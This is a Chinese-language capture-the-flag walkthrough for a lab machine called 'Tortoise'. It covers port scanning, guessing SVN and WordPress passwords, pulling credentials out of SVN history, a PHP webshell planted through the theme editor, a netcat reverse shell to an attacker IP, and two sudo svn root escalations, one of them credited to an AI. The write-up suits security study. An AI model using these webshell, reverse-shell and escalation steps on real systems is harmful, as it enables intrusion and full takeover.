# Tortoise_Yolo

## 信息搜集

靶机IP：192.168.1.15

```bash
→  ~ nmap -sV -Pn 192.168.1.15
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-29
12:59 +0800
Nmap scan report for 192.168.1.15
Host is up (0.00014s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 10.0 (protocol 2.0)
80/tcp   open  http     nginx
3690/tcp open  svnserve Subversion
MAC Address: 08:00:27:B8:10:83 (Oracle VirtualBox
virtual NIC)

Service detection performed. Please report any
incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.67
seconds
```

访问网页，发现是wordpress动态博客，观察到靶机使用自定义域名，修改`/etc/hosts`文件，将`192.168.1.15 tortoise.dsz`追加到后面
看了下博客文章，测试了几个用户名cathy,lily,sally,harry，最后发现只有sally和harry账号存在，测试了密码`sally:sallysecret`，发现失效，盲猜多种组合，观察到举例用户中都是用户名+s+一个单词，就测试了`sally:sallyssecret`和`harry:harryssecret`都成功了

```bash
```

```
➜  ~ svn info svn://192.168.1.15:3690 --username sally
--password sallyssecret
路径: .
URL: svn://192.168.1.15
Relative URL: ^/
版本库根: svn://192.168.1.15
版本库 UUID: ec4c0778-aa1a-4bbf-a472-8cba06d4e45c
版本: 2
节点种类: 目录
最后修改的作者: root
最后修改的版本: 2
最后修改的时间: 2026-01-23 20:13:55 +0800 (五, 2026-01-
23)

➜  ~ svn info svn://192.168.1.15:3690 --username harry
--password harryssecret
路径: .
URL: svn://192.168.1.15
Relative URL: ^/
版本库根: svn://192.168.1.15
版本库 UUID: ec4c0778-aa1a-4bbf-a472-8cba06d4e45c
版本: 2
节点种类: 目录
最后修改的作者: root
最后修改的版本: 2
最后修改的时间: 2026-01-23 20:13:55 +0800 (五, 2026-01-
23)
```

发现这里只有一个config.php文件，查看历史编辑记录，拿到了一组管理员凭证

bash

```
➜  ~ svn list svn://192.168.1.15:3690 --username harry
--password harryssecret
config.php
➜  ~ svn list svn://192.168.1.15:3690 --username sally
--password sallyssecret
config.php
```

```
➜  ~ svn cat svn://192.168.1.15:3690/config.php --username sally --password sallyssecret
db_user=getenv('DB_USER');\ndb_pass=getenv('DB_PASS');
➜  ~ svn log svn://192.168.1.15:3690/config.php --username sally --password sallyssecret

------------------------------------------------------------------------
r2 | root | 2026-01-23 20:13:55 +0800 (五, 2026-01-23) | 1 行

Remove hardcoded credentials for security
------------------------------------------------------------------------
r1 | root | 2026-01-23 20:13:54 +0800 (五, 2026-01-23) | 1 行

Initialize database config
------------------------------------------------------------------------
➜  ~ svn cat -r 1 svn://192.168.1.15:3690/config.php --username sally --password sallyssecret
db_user='admin'\ndb_pass='S3cret_P@ss_2026'
```

主题编辑中随意php文件，加上这段

```php
if(isset($_GET['evil'])) {
    system($_GET['cmd']);
    die();
}
```

```bash
➜  ~ curl http://tortoise.dsz/\?evil\=1\&cmd\=whoami
nginx
```

## get shell

反弹shell

```url
http://tortoise.dsz/?evil=1&cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff|%2Fbin%2Fsh%20-i%202%3E%261|nc%20192.168.1.9%201234%20%3E%2Ftmp%2Ff
```

继续翻看文件，可以看到localhost下面的 `.backup.php`

```bash
/var/www # cat localhost/.backup.php
<?php
define('SECURE_KEY', '1006b3921');

final class BackupManager {
    private string $root;
    private string $destination;

...<没有用，省略了>...
<?php
}
```

拿到一个密码 `1006b3921`，经过验证，是用户 `onehang` 的密码

## to root

查看sudo权限，发现可以利用svn提权

```bash
➜  ~ ssh onehang@192.168.1.15
onehang@192.168.1.15's password:
```

```
                _
__      _____| | ___ ___  _ __ ___   ___
\ \ /\ / / _ \ |/ __/ _ \| '_ ` _ \ / _ \
 \ V  V /  __/ | (_| (_) | | | | | |  __/
  \_/\_/ \___|_|\___\___/|_| |_| |_|\___|

Tortoise:~$ sudo -l
[sudo] password for onehang:
Matching Defaults entries for onehang on Tortoise:

 secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbi
n\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for onehang:
    Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR
EDITOR VISUAL"

User onehang may run the following commands on
Tortoise:
    (ALL : ALL) /usr/bin/svn
```

## ai给的方案

bash

```
Tortoise:~$ PWD_PATH=$(pwd)
Tortoise:~$ svnadmin create "$PWD_PATH/toroot"
Tortoise:~$ svn checkout "file://$PWD_PATH/toroot"
toroot2
Checked out revision 0.
Tortoise:~$ cd toroot2
Tortoise:~/toroot2$ touch play
Tortoise:~/toroot2$ svn add play
A         play
Tortoise:~/toroot2$ sudo svn diff --diff-cmd /bin/sh
play
Index: play
```

```
===================================================================
/bin/sh: illegal option -L
svn: E200012: '/bin/sh' returned 2
Tortoise:~/toroot2$ nano toroot.sh
Tortoise:~/toroot2$ chmod +x toroot.sh
Tortoise:~/toroot2$ cat toroot.sh
#!/bin/sh
/bin/sh
Tortoise:~/toroot2$ sudo svn add toroot.sh
A         toroot.sh
Tortoise:~/toroot2$ sudo /usr/bin/svn diff --diff-cmd
/home/onehang/toroot2/toroot.s
h /home/onehang/toroot2/play
Index: /home/onehang/toroot2/play
===================================================================
/home/onehang/toroot2 # id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),
10(wheel),11(floppy),20(dialout),26(tape),27(video)
```

`svn diff` 允许用户通过 `--diff-cmd` 指定运行自己写的脚本工具

## 自己摸索出来的方案

搜索svn的常用语句，注意到这里，co允许我远程将文件移动到任意指定路径，这是参考的 链接


本地先建立svn服务,顺便生成公钥

bash

```
➜  ~ mkdir -p ~/evil_svn
➜  ~ svnadmin create ~/evil_svn/repo
➜  ~ cd ~/evil_svn
➜  evil_svn ssh-keygen -t rsa -f ssh_key -N ""
Generating public/private rsa key pair.
Your identification has been saved in ssh_key
Your public key has been saved in ssh_key.pub
The key fingerprint is:
SHA256:0y79di6QkFrzyuyQGBkvwEUV6kwvSFHndEEyYrloV0g
yolo@Yolo
The key's randomart image is:
+---[RSA 3072]----+
|   .+E+Bo+.      |
| . +o*.+         |
|  +.+o.  .       |
| .o*o=  =.       |
| ...B ooS+..     |
|     =.. ++      |
|    . oo..o.     |
|       .+. .o .  |
```

```
|        ..  ..+.  |
+-----[SHA256]-----+
➜  evil_svn mkdir -p /tmp/svn_files

➜  evil_svn cp ssh_key.pub
/tmp/svn_files/authorized_keys
➜  evil_svn svn import /tmp/svn_files
file:///home/yolo/evil_svn/repo -m "add key"
正在增加       /tmp/svn_files/authorized_keys
正在读取事务
提交后的版本为 1。
➜  evil_svn svnserve -d -r ~/evil_svn/repo/ --listen-
port 3690
➜  evil_svn svn list svn://127.0.0.1/

authorized_keys
```

在 `onehang shell` 中，执行 `sudo svn co svn://192.168.1.9/ /root/.ssh/`，预期返回结果

bash

```
A    /root/.ssh/authorized_keys
Checked out revision 1.
```

考虑过将文件传入/etc/crontabs/root（本次靶机是alpine靶机，定时任务位置有点特殊

但是传入后发现，由于文件冲突，覆盖不了，因此定时任务提权失败了（c代表文件冲突

bash

```
Tortoise:~$ sudo svn co svn://192.168.1.9/repo/
/etc/crontabs/
[sudo] password for onehang:
   C /etc/crontabs/root
Checked out revision 4.
```

接下来直接远程登录即可

```bash
➜  checkout ssh -i ~/evil_svn/ssh_key
root@192.168.1.13
                _
__      _____| | ___ ___  _ __ ___   ___
\ \ /\ / / _ \ |/ __/ _ \| '_ ` _ \ / _ \
 \ V  V /  __/ | (_| (_) | | | | | |  __/
  \_/\_/ \___|_|\___\___/|_| |_| |_|\___|

Tortoise:~# id
uid=0(root) gid=0(root)
groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),
6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(v
ideo)
```